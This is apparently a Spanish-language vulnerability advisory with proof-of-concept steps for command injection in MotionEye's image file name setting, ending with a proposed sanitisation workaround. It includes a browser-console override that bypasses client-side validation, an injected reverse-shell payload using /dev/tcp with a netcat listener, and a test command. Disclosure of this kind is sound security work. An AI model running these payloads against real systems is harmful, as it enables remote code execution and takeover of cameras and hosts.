
Pasos del PoC para esta vulnerabilidad
Durante las pruebas de seguridad de una instancia de MotionEye ejecutándose en Docker, se observó que la validación del lado del cliente dentro de la interfaz web puede omitirse. Esto permite enviar entradas arbitrarias, incluidos payloads que pueden desencadenar la ejecución en el contenedor anfitrión. El problema supone un riesgo de ejecución remota de código (RCE) si se explota.
Versiones afectadas: Todas las versiones hasta la 0.43.1b4 inclusive
Estado del parche: Aún no hay parche disponible. En este aviso se proporciona una solución alternativa.
referencia del proyecto: https://github.com/motioneye-project/motioneye
CWE: CWE-20, CWE-78, CWE-116
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CVSS: 7.2/10
ghcr.io/motioneye-project/motioneye:edge9999 mapeado al 8765 del contenedoradmin / contraseña vacía (por defecto)Ejecute el siguiente comando para iniciar la descarga de la imagen Docker y arrancar el contenedor
docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
docker logs motioneye | grep "motionEye server"
Resultado: Servidor MotionEye 0.43.1b4

Una vez que el contenedor Docker esté en ejecución, se puede acceder al shell del contenedor con los siguientes comandos
docker exec -it motioneye /bin/bash
ls -la /tmp
Acceda a la interfaz web en:
http://127.0.0.1:9999
Inicio de sesión: admin (contraseña vacía)
Se añadió una cámara de red RTSP de muestra.

Se introdujo un comando de ejecución malicioso en “Imágenes fijas” > “Nombre de archivo de imagen”, pero se encontró un error de validación del lado del cliente.
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
Bloqueado por la validación del lado del cliente.

El siguiente script es responsable de la validación: /static/js/main.js?v=0.43.1b4, que hace referencia a /static/js/ui.js?v=0.43.1b4 para implementar las condiciones de validación.
Archivo: /static/js/main.js?v=0.43.1b4 que hace referencia a /static/js/ui.js?v=0.43.1b4
function configUiValid() {
$('div.settings').find('.validator').each(function () { this.validate(); });
var valid = true;
$('div.settings input, select').each(function () {
if (this.invalid) { valid = false; return false; }
});
return valid;
}
Al sobrescribir la función configUiValid en la consola del navegador, se pueden omitir todas las comprobaciones de validación: Introduzca el siguiente fragmento en la consola del navegador (F12 o Ctrl+Shift+I)
configUiValid = function() {
return true;
};
Ahora el payload se puede introducir directamente sin ninguna validación: configúrelo como se muestra a continuación y aplique los ajustes
Ajustes:
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
Aplicado → Archivo creado con permisos de root.
generación sencilla de una reverse shell:
Escuchador:
nc -lvnp 4444
Payload inyectado:
$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S
Resultado: Se obtuvo una shell remota.
MotionEye es vulnerable porque toma la entrada del usuario desde el panel web y la escribe directamente en los archivos de configuración de Motion sin comprobar si hay caracteres peligrosos. Por ejemplo, el campo image_file_name de la interfaz se envía al backend (config.py) y se guarda en /etc/motioneye/camera-.conf. Cuando MotionEye reinicia el servicio de Motion (motionctl.start), el proceso de Motion lee este archivo de configuración. Si el campo picture_filename contiene sintaxis de shell como $(touch /tmp/test), Motion lo ejecutará como un comando real en lugar de tratarlo como parte del nombre de archivo.
Entrada sin sanear escrita en los archivos de configuración de Motion:
Dashboard JS → ConfigHandler.set_config() → camera-1.conf → motionctl.restart() → motion parses picture_filename → executes payload
Archivo: /usr/local/lib/python3.13/dist-packages/motioneye/config.py
def sanitize_filename(value):
# allow only letters, numbers, %, _, -, /, .
for ch in value:
if not (ch.isalnum() or ch in "%-_/."):
return "%Y-%m-%d/%H-%M-%S" # safe fallback
return value
Aplique el saneamiento:
data['picture_filename'] = sanitize_filename(ui['image_file_name'])
data['snapshot_filename'] = sanitize_filename(ui['image_file_name'])
antes:
después:
